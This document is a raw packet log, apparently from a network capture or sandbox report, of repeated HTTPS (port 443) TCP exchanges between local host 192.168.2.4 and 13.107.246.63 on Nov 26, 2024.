Nov 26, 2024 00:09:42.396193981 CET	443	49978	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.398727894 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.398753881 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.398946047 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.398946047 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.398971081 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.456840038 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.463423967 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.463424921 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.463484049 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.463526964 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.591310978 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.594456911 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.594495058 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.594497919 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.594532967 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.596735954 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.596746922 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.596755981 CET	49979	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.596761942 CET	443	49979	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.601269960 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.601298094 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.601351023 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.601742029 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.601751089 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.840015888 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.840550900 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.840564013 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.840914011 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.840919971 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.893204927 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.896251917 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.896326065 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.896439075 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.896439075 CET	49980	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.896477938 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.896502972 CET	443	49980	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.899728060 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.899791956 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:42.899919033 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.900413990 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:42.900444031 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.274810076 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.278439045 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.278479099 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.278481960 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.278522015 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.278551102 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.278561115 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.278569937 CET	49981	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.278573990 CET	443	49981	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.281204939 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.281219006 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.281274080 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.281414986 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.281425953 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.376883030 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.377357006 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.377401114 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.377790928 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.377804041 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.811804056 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.814946890 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.816816092 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.816871881 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.816871881 CET	49982	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.816907883 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.816930056 CET	443	49982	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.820965052 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.821007013 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:43.825006008 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.825006008 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:43.825067043 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.384202957 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.385091066 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.385102987 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.385603905 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.385608912 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.702269077 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.702851057 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.702877045 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.703562975 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.703571081 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.829634905 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.832703114 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.832756042 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.832829952 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.832837105 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.832850933 CET	49984	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.832854033 CET	443	49984	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.836129904 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.836155891 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:44.836226940 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.836419106 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:44.836429119 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.061842918 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.062369108 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.062388897 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.062736988 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.062741041 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.146935940 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.146997929 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.147054911 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.147239923 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.147259951 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.147294044 CET	49985	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.147300959 CET	443	49985	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.149637938 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.149665117 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.149734020 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.149837017 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.149848938 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.506248951 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.509474039 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.509552002 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.509604931 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.509604931 CET	49986	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.509620905 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.509629011 CET	443	49986	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.514624119 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.514657021 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.518728971 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.522633076 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.522644043 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.619096994 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.619472027 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.619529009 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:45.619940042 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:45.619955063 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.064553976 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.067431927 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.067485094 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.067574024 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.067574978 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.067718983 CET	49987	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.067764997 CET	443	49987	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.072642088 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.072671890 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.076982021 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.080735922 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.080750942 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.680360079 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.680955887 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.680977106 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.681539059 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.681544065 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.941807032 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.942244053 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.942257881 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:46.942773104 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:46.942776918 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.133991003 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.137270927 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.137316942 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.137376070 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.137387991 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.137418985 CET	49988	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.137423992 CET	443	49988	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.141689062 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.141710997 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.141768932 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.141992092 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.142003059 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.265338898 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.265805006 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.265818119 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.266196966 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.266201019 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.302623034 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.302957058 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.302966118 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.303282976 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.303287029 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.394052982 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.397233963 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.397341013 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.397367001 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.397367001 CET	49989	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.397380114 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.397387028 CET	443	49989	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.399457932 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.399486065 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.399554014 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.399780989 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.399794102 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.718216896 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.721716881 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.721765041 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.721796989 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.724641085 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.724641085 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.724641085 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.724642992 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.724670887 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.724803925 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.728662014 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.728677034 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.747677088 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.750685930 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.750761032 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.750842094 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.750842094 CET	49990	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.750854969 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.750863075 CET	443	49990	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.754632950 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.754645109 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.755115986 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.755198956 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.755208015 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.939404011 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.940100908 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.940109015 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:47.940593958 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:47.940607071 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.029277086 CET	49983	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.029293060 CET	443	49983	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.392687082 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.398565054 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.398677111 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.398677111 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.398700953 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.398721933 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.404366016 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.404390097 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.404504061 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.404689074 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.404696941 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.989698887 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.990128040 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.990139008 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:48.990550041 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:48.990554094 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.185661077 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.186069965 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.186090946 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.186486006 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.186491013 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.444204092 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.447307110 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.447360992 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.447400093 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.447408915 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.447417974 CET	49992	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.447422028 CET	443	49992	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.450117111 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.450155020 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.450212955 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.450401068 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.450416088 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.469027996 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.488671064 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.488678932 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.489214897 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.489217997 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.520293951 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.520726919 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.520735025 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.521267891 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.521271944 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.629661083 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.633006096 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.636758089 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.636780977 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.636780977 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.636790037 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.636814117 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.639377117 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.639401913 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.639513016 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.639729977 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.639739990 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.903731108 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.907200098 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.907238007 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.907264948 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.907380104 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.907433033 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.907433033 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.907438040 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.907443047 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.912759066 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.912802935 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.912868977 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.912981987 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.912996054 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.964366913 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.967499018 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.967590094 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.967691898 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.967691898 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.967699051 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.967705965 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.972069025 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.972081900 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:49.972400904 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.972642899 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:49.972650051 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.185883045 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.186351061 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.186368942 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.186889887 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.186896086 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.632323980 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.635540009 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.635593891 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.635613918 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.635624886 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.635633945 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.635637999 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.639101028 CET	50001	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.639117956 CET	443	50001	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:50.639172077 CET	50001	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.639343023 CET	50001	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:50.639353037 CET	443	50001	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.299094915 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.299525023 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.299552917 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.299953938 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.299959898 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.419790030 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.420327902 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.420348883 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.420645952 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.420650005 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.699279070 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.701324940 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.701356888 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.701776028 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.701782942 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.764017105 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.766999960 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.767033100 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.767191887 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.767245054 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.767245054 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.767262936 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.767266035 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.769644976 CET	50002	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:51.769661903 CET	443	50002	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:51.769773006 CET	50002	443	192.168.2.4	13.107.246.63
